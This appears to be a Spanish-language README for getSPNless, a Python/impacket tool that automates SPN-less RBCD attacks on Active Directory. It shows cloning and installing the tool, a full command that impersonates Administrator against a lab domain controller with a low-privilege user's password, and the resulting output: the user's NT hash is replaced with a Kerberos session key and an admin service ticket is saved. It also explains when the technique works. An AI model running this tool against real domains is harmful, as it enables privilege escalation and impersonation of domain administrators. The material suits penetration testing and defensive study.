
Herramienta en Python para realizar automáticamente ataques RBCD sin SPN.

Herramienta en Python para obtener tickets de servicio Kerberos utilizando la técnica SPN-less. Basado en Explotando RBCD Usando una Cuenta de Usuario Normal.
Esta herramienta utiliza el proyecto impacket.
Estas herramientas son solo compatibles con Python 3.5+. Clona el repositorio desde GitHub, instala las dependencias y estarás listo para usar:
git clone https://github.com/jarnovandenbrink/getSPNless.git
cd getSPNless
python3 -m pip install .
Se recomienda usar un virtualenv.
python3 getSPNless.py -spn cifs/DC01.pwn.local -dc-ip 192.168.2.64 -impersonate Administrator pwn.local/low:'Somepass1'
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting a TGT
[*] Calculating RC4 value of the provided password
[*] NT Hash: :3ac433014b4d5b1b4bc8a5350153ea93
[*] Saving ticket in low.ccache
[*] Ticket Session Key: 37ff4701394ef659bdd724e5dca5c00f
[*] Changing the password of pwn.local\low
[*] Connecting to DCE/RPC as pwn.local\low
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@[email protected]
[*] To revert the password, run: changepasswd.py pwn.local/low:[email protected] -hashes :37ff4701394ef659bdd724e5dca5c00f -newpass Somepass1
Alternativamente, se puede usar un hash NT. Ten en cuenta que al usar un hash NT, la recuperación de la contraseña solo es posible si la bandera 'password never expires' está configurada en la cuenta de usuario.
Esta herramienta proporciona un método para omitir el requisito de cuenta de máquina al realizar ataques RBCD. El problema actual al realizar RBCD con una cuenta de usuario es que el KDC no sabe qué clave de cifrado usar para el ticket. Esta herramienta soluciona esta limitación solicitando un TGT de Kerberos, extrayendo la clave de sesión del ticket y modificando el hash NT del usuario. Usando S4U2Self+U2U y S4U2Proxy, aún es posible obtener un ticket de servicio. Personalmente optaría por usar cuentas de máquina, o shadow credentials con PKINIT/UnPAC-the-Hash en lugar de RBCD SPN-less. Sin embargo, esta es una buena alternativa cuando MachineAccountQuota está establecido en 0 y no hay ADCS disponible o PKINIT está deshabilitado. Ten en cuenta que el ataque no funcionará si el tipo de cifrado RC4 de Kerberos está deshabilitado. Puedes comprobarlo verificando el tipo de Kerberos 23 (Etype 23).
Este proyecto fue desarrollado en parte durante mi trabajo en Cyber Cloud y en parte en mi tiempo libre. Gracias a Cyber Cloud por proporcionar el tiempo para desarrollar e investigar este trabajo.